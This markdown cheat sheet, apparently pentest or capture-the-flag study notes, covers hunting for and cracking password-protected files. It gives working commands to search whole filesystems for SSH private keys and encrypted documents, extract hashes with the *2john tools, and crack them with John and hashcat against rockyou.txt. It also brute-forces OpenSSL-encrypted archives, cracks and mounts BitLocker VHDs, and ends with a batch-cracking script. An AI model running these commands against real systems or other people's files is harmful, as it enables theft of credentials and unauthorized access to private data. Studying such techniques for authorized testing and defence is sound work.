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cracking-protected-files.md

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Cracking Protected Files

Overview

  • Encrypted files can contain sensitive information
  • Common in corporate environments (GDPR compliance)
  • Often use AES-256 symmetric encryption
  • Can be cracked with right wordlists and tools

Hunting for Encrypted Files

Common File Extensions

# Search for common encrypted file types
for ext in $(echo ".xls .xls* .xltx .od* .doc .doc* .pdf .pot .pot* .pp*")
do 
    echo -e "\nFile extension: " $ext
    find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core"
done

Common Protected File Types

  • .docx, .xlsx, .pptx - Microsoft Office documents
  • .pdf - Adobe PDF documents
  • .zip, .rar, .7z - Compressed archives
  • .kdbx - KeePass databases
  • .p12, .pfx - Certificate files
  • .ssh keys - SSH private keys
  • .gpg - GPG encrypted files

Finding SSH Keys

Search for SSH Private Keys

# Search for SSH private key headers
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null

# Common locations
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null

Check if SSH Key is Encrypted

# Try to read key - will prompt for password if encrypted
ssh-keygen -yf ~/.ssh/id_rsa

# Check for encryption in PEM format
head -5 private_key.pem | grep "ENCRYPTED"

File Cracking Tools

Available 2john Tools

# List all 2john conversion tools
locate *2john*

# Common tools:
# - ssh2john.py - SSH private keys
# - office2john.py - Office documents
# - pdf2john.py - PDF files
# - zip2john - ZIP archives
# - rar2john - RAR archives
# - keepass2john - KeePass databases
# - gpg2john - GPG files

Cracking SSH Keys

Extract and Crack SSH Key

# Extract hash from SSH private key
ssh2john.py SSH.private > ssh.hash

# Crack with John
john --wordlist=rockyou.txt ssh.hash

# Show results
john ssh.hash --show

With Hashcat

# Convert SSH key to hashcat format
ssh2john.py SSH.private | cut -d: -f2 > ssh.hashcat

# Crack with hashcat
hashcat -a 0 -m 22931 ssh.hashcat /usr/share/wordlists/rockyou.txt

Cracking Office Documents

Microsoft Office Files

# Extract hash from Office document
office2john.py Protected.docx > protected-docx.hash

# Crack with John
john --wordlist=rockyou.txt protected-docx.hash

# Show results
john protected-docx.hash --show

With Hashcat

# Office 2007-2013 (hashcat mode 9400)
hashcat -a 0 -m 9400 office.hash /usr/share/wordlists/rockyou.txt

# Office 2016-2019 (hashcat mode 9500)
hashcat -a 0 -m 9500 office.hash /usr/share/wordlists/rockyou.txt

Cracking PDF Files

Extract and Crack PDF

# Extract hash from PDF
pdf2john.py PDF.pdf > pdf.hash

# Crack with John
john --wordlist=rockyou.txt pdf.hash

# Show results
john pdf.hash --show

With Hashcat

# PDF 1.4-1.6 (hashcat mode 10400)
hashcat -a 0 -m 10400 pdf.hash /usr/share/wordlists/rockyou.txt

# PDF 1.7 Level 3 (hashcat mode 10500)
hashcat -a 0 -m 10500 pdf.hash /usr/share/wordlists/rockyou.txt

Cracking Archive Files

ZIP Archives

# Extract hash from ZIP
zip2john archive.zip > zip.hash

# Crack with John
john --wordlist=rockyou.txt zip.hash

# With hashcat (mode 13600)
hashcat -a 0 -m 13600 zip.hash /usr/share/wordlists/rockyou.txt

RAR Archives

# Extract hash from RAR
rar2john archive.rar > rar.hash

# Crack with John
john --wordlist=rockyou.txt rar.hash

# With hashcat (mode 12500)
hashcat -a 0 -m 12500 rar.hash /usr/share/wordlists/rockyou.txt

7-Zip Archives

# Extract hash from 7z
7z2john.pl archive.7z > 7z.hash

# Crack with John
john --wordlist=rockyou.txt 7z.hash

# With hashcat (mode 11600)
hashcat -a 0 -m 11600 7z.hash /usr/share/wordlists/rockyou.txt

Other Protected Files

KeePass Databases

# Extract hash from KeePass
keepass2john Database.kdbx > keepass.hash

# Crack with John
john --wordlist=rockyou.txt keepass.hash

# With hashcat (mode 13400)
hashcat -a 0 -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

GPG Files

# Extract hash from GPG
gpg2john encrypted.gpg > gpg.hash

# Crack with John
john --wordlist=rockyou.txt gpg.hash

Common Hashcat Hash Modes

File Type Mode Description
PDF 1.4-1.6 10400 PDF (Portable Document Format)
PDF 1.7 Level 3 10500 PDF 1.7 Level 3 (Acrobat 9)
MS Office 2007 9400 Office 2007
MS Office 2010 9500 Office 2010
MS Office 2013 9600 Office 2013
ZIP 13600 WinZip
RAR3 12500 RAR3-hp
7-Zip 11600 7-Zip
KeePass 13400 KeePass 1 (AES/Twofish)
SSH Private Key 22931 RSA/DSA/EC/OPENSSH

Tips for Success

  1. Use targeted wordlists - Include company names, dates, common passwords
  2. Try common patterns - company123, Company2024!, etc.
  3. Check file metadata - May contain hints about creator/purpose
  4. Multiple attack methods - Dictionary, rules, mask attacks
  5. Be patient - Some files take significant time to crack
  6. Check for weak passwords - Many users still use simple passwords
  7. Corporate patterns - Often follow predictable formats

Cracking Protected Archives

ZIP Files (Extended)

# Extract hash from ZIP
zip2john ZIP.zip > zip.hash

# Check hash format
cat zip.hash

# Crack with John
john --wordlist=rockyou.txt zip.hash

# Show results
john zip.hash --show

OpenSSL Encrypted GZIP Files

# Check if file is OpenSSL encrypted
file GZIP.gzip

# Direct brute force with OpenSSL
for i in $(cat rockyou.txt); do 
    openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null | tar xz
done

BitLocker Encrypted Drives

# Extract hashes from BitLocker VHD
bitlocker2john -i Backup.vhd > backup.hashes

# Get password hash (first hash)
grep "bitlocker\$0" backup.hashes > backup.hash

# Crack with hashcat (mode 22100)
hashcat -a 0 -m 22100 backup.hash /usr/share/wordlists/rockyou.txt

# Show results
hashcat -m 22100 backup.hash --show

Mounting BitLocker Drives

Windows

  1. Double-click the .vhd file
  2. Double-click the BitLocker volume
  3. Enter the cracked password

Linux/macOS

# Install dislocker
sudo apt-get install dislocker

# Create mount directories
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlockermount

# Set up loop device
sudo losetup -f -P Backup.vhd

# Decrypt with dislocker
sudo dislocker /dev/loop0p2 -u<password> -- /media/bitlocker

# Mount the decrypted volume
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

# Browse files
cd /media/bitlockermount/
ls -la

# Unmount when done
sudo umount /media/bitlockermount
sudo umount /media/bitlocker

Practical BitLocker Example

Complete workflow for cracking and mounting a BitLocker VHD:

# Step 1: Download and extract the VHD
wget http://target:port/download -O download.zip
unzip download.zip

# Step 2: Extract BitLocker hash and crack password
bitlocker2john -i Private.vhd > private.hashes
grep "bitlocker\$0" private.hashes > private.hash
hashcat -a 0 -m 22100 private.hash /usr/share/wordlists/rockyou.txt

# Step 3: Create mount directories
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlockermount

# Step 4: Set up loop device
sudo losetup -f -P Private.vhd

# Step 5: Verify loop device
losetup --all
# Output: /dev/loop0: []: (/home/user/Private.vhd)

# Step 6: Install dislocker (if not already installed)
sudo apt-get install dislocker -y

# Step 7: Decrypt with cracked password
sudo dislocker /dev/loop0p1 -u<cracked_password> -- /media/bitlocker

# Step 8: Verify decryption
sudo ls -la /media/bitlocker
# Should show dislocker-file

# Step 9: Mount the decrypted volume
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

# Step 10: Access files
cd /media/bitlockermount
cat flag.txt

# Step 11: Cleanup when done
sudo umount /media/bitlockermount
sudo umount /media/bitlocker
sudo losetup -d /dev/loop0

Key Points:

  • Use losetup --all to verify loop device assignment
  • BitLocker partitions are usually p1 or p2 (e.g., /dev/loop0p1)
  • The dislocker-file is created in the first mount point
  • Always unmount and detach loop devices when finished

Common Archive Types

  • .zip - ZIP archives
  • .rar - RAR archives
  • .7z - 7-Zip archives
  • .tar.gz - Tarball with gzip
  • .tar.bz2 - Tarball with bzip2
  • .vhd/.vhdx - Virtual Hard Disk (often BitLocker)
  • .vmdk - VMware Virtual Disk
  • .truecrypt - TrueCrypt volumes
  • .luks - Linux Unified Key Setup

Additional Archive Hash Modes

Archive Type Tool Hashcat Mode
BitLocker bitlocker2john 22100
TrueCrypt truecrypt_volume2john 6211
LUKS luks2john 14600
VMware VMDK vmware2john 20300

Automation Script Example

#!/bin/bash
# Auto-crack common protected files and archives

for file in $(find . -name "*.pdf" -o -name "*.docx" -o -name "*.zip" -o -name "*.vhd"); do
    echo "Processing: $file"
    
    case "$file" in
        *.pdf)
            pdf2john.py "$file" > "${file}.hash"
            john --wordlist=rockyou.txt "${file}.hash"
            ;;
        *.docx)
            office2john.py "$file" > "${file}.hash"
            john --wordlist=rockyou.txt "${file}.hash"
            ;;
        *.zip)
            zip2john "$file" > "${file}.hash"
            john --wordlist=rockyou.txt "${file}.hash"
            ;;
        *.vhd)
            bitlocker2john -i "$file" > "${file}.hashes"
            grep "bitlocker\$0" "${file}.hashes" > "${file}.hash"
            hashcat -a 0 -m 22100 "${file}.hash" /usr/share/wordlists/rockyou.txt
            ;;
    esac
done